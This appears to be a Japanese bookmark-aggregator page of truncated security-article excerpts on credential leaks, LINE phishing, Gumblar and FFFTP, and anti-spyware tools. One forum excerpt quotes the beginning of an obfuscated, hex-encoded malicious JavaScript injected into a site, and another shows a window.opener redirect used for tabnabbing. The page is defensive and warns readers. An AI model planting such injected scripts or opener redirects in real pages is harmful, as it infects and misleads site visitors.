2019年1月中旬にリサーチャーのトロイ・ハント（Troy Hunt）が明らかにしたように、複数のハッキングフォーラムにとどまらず、クラウドストレージ内にもリストが点在しているという。コレクション番号1 (Collection#1) と称するリストには、これまで最大の規模となる、7億以上のメールアドレスと2,000万以上のパスワードが含まれていることがわかっている。 このようなニュースを聞けば、自分のメールアドレスやパスワードがそうしたリストに含まれていないか、心配するのが普通だろう。自分の認証情報が盗まれていないかどうかがわかれば、新たなサービスに登録する際、あるいはパスワード更新時にも自身の設定するパスワードの安全性を把握できる。その方法を以下に説明していくことにする。 最初に紹介するのは、「Have I Been Pwned」というサービスだ。ユーザーはこのサービスで、自分のメールア
html で リンクを新しいタブ(やウィンドウ)で開かせたい場合、target="_blank" を指定するが、 この使い方には落とし穴があるらしい。 www.jitbit.com リンクを開いた先の javascript から、開いた元のページを操作できてしまうとのこと。 気になったので確認してみた。 悪用のパターン insecure.html が最初に開くページで、ここに target="_blank" なリンクがある。 このリンクを押すと new_window.html を新しいタブで開く。 この new_window.html に javascript が仕込まれており、元ページを操作されるという話。 具体的には window.opener.location="./evil.html" と実行すると、元タブは evil.html に遷移する。 実際試してみたのが ここ。 リンクを開
フィッシング対策協議会は11月30日、LINEをかたるフィッシングメールが出回っていると注意を呼び掛けた。 メールの件名は「LINE-安全認証」。本文は「お客様のLINEアカウントに異常ログインされたことがありました。お客様のアカウントの安全のために、ウェブページで検証してお願いします」とやや不自然な日本語が書かれており、URLをクリックすると、LINEのIDとパスワードを入力させるフィッシングサイトにつながる。 11月30日時点でサイトは稼働中。協議会は、アカウント情報を入力しないよう呼び掛けている。 LINEは、同社から送信しているメールのドメインを公開し、これ以外のドメインからLINEを名乗るメールが届いた場合はなりすましだとして注意を呼び掛けている。 関連記事 「LINEーー安全確認」 LINEをかたるフィッシングメールに注意 「LINEーー安全確認」という件名でLINEをかたるフ
今日話題になった Gumblar の亜種によって FFFTP の設定情報から FTP 情報が漏れる件で、FTP 自体の危険性と FFFTP 自体の特性、さらに Gumblar 対策という点で少し情報が混乱している状況が見受けられます。そこでその点を簡単にまとめてみました。 去年あたりから、「Gumblar （ガンブラー）」 に代表されるような、FTP のアカウント情報を何らかの手段で盗み出して Web サーバにアクセスし、Web サイトを改竄して被害を広めていくタイプのウィルスが問題になっていますが、今日になって広く利用されているフリーの FTP クライアントである 「FFFTP」 にアカウント情報漏洩の危険性が見つかったということで話題になっていました。 「FFFTP」のパスワードが"Gumblar"ウイルスにより抜き取られる問題が発生 ： 窓の杜 ただ、この問題で、FTP 自体の危険性
HTMLにいつのまにか謎の文字列が挿入されています。 ローカルのファイルには何も異常はないのですが、 サーバー上にアップロードしたHTMLにいつのまにか妙なスクリプトが挿入されてしまっています。 そのスクリプトの内容は <script language=javascript><!-- (function(Y3n5P){var MRfH='%';var PCN='var:20:61:3d:22Scri:70tE:6e:67ine:22:2cb:3d:22V:65rsion()+:22:2cj:3d:22:22:2cu:3dna:76i:67at:6fr:2eu:73er:41gent:3bif((u:2e:69nde:78Of(:22:57i:6e:22:29:3e:30):26:26(:75:2eind:65xO:66(:22NT:206:22):3c0:29:26:26:28docu:6
自分の運営する複数（すべて）のサイトにウィルスのコード（javascript)が埋め込まれてしまいました。 avast4を入れてますが、サイトにアクセスすると「トロイの木馬 JS redirector [h3]」などと警告が出ます。 自分の運営する複数（すべて）のサイトにウィルスのコード（javascript)が埋め込まれてしまいました。 avast4を入れてますが、サイトにアクセスすると「トロイの木馬 JS redirector [h3]」などと警告が出ます。 ホームページを自分で制作し、FFFTPでアップロードしています。ある日突然FFFTPでサーバーに接続できなくなりました。 このときはまだサイトが感染しているか確認していません。もちろんファイアーウォール（zonealearmを使用中）が原因ではないと思います。他のパソコンからは正常に接続できました。 なにをどうやってもダメなので（
Spybotのインストール方法 前ページ→スパイウェア対策 Spybotのダウンロード方法 注：このページの内容は旧バージョンVer1.6の物です。最新版の2.0はまだ日本語に対応していません。現在のところVer1.6でも最新の更新データをDLできます。 まずは公式サイトでSpybotをダウンロードをしましょう。 http://www.safer-networking.org/mirrors16/ (Ver1.6へのリンクです) Spybotのインストール手順 ダウンロードしたSpyBotのファイルをクリックします。 インストールする際の言語を選びます。「Japanese」のまま「OK」をクリック。 「次へ」をクリックし、 利用規約に同意したらチェックを入れて「次へ」をクリック。 インストール先を決めて「次へ」をクリック。 インストールするファイルを選ぶ画面になります。 通常は「Full
※無料体験版をご利用の際は、クレジットカードの登録不要! ※30日無料体験版は、無料体験期間終了後、自動で有償版に切り替わることはございません。 ※Windows版とMac版ではご利用いただける機能が異なります。詳しくは機能一覧をご覧ください。 TREND MICRO、およびウイルスバスターはトレンドマイクロ株式会社の登録商標です。 「Android」、「Google Play」はGoogle LLCの商標です。 「iOS」、「iPadOS」、「MacOS」、「App Store」はApple inc. の商標です。 「Microsoft」はMicrosoft Corporation の商標です。
LavaSoft Ad-Aware se Personal スパイウェアやトラッキングCookieを削除するツールAd-Aware seを紹介する。全世界で1億回以上Downloadされて使われているという有名ツールだ。他の製品と比較してレジストリに潜むスパイウェアの痕跡やトラッキングCookieの削除がとても強力なのが特徴。 Downloadはhttp://www.lavasoftusa.com/support/download/のDownload.comのバーナーから行う。他にも「Ad-Aware」で検索すれば落とせるところはたくさんあるので、好きなところからDownloadすればよい。 なおAd-Awareには数種類の製品があり、無償で使えるのはAd-Aware se Personalである。有償版にはPlusやProなどがあるが、ここでは無償版のPersonalの説明となる
最近は、「危ないサイト」だけではなく、正規サイトや、“いつも見ているホームページ”が、ある日突然、ウイルスへのリンクを埋め込む改ざんが行われ、そのサイトを見た方が感染する被害が増加しています。 当サイトでは、ボットウイルスから守るために「ボットの駆除対策手順」のページで以下の３つの対策お願いしております。 しかし、ホームページからの感染を防ぐためには、この３つの対策以外に次の「１，ホームページ閲覧者の感染防止方法」に記載するプログラムを最新に保つことが必要です。 また、ホームページを持っていらっしゃる方は、「２，ホームページ開設者の対処方法」を参考にウイルスへのリンクを改ざんされ埋め込まれていないかの確認を行い、改ざんされていた場合は手順に従い復旧を行ってください。 JVN(Japan Vulnerability Notes)の「MyJVNバージョンチェッカ」を利用してWeb感染型に
1
リリース、障害情報などのサービスのお知らせ
最新の人気エントリーの配信
j次のブックマーク
k前のブックマーク
lあとで読む
eコメント一覧を開く
oページを開く
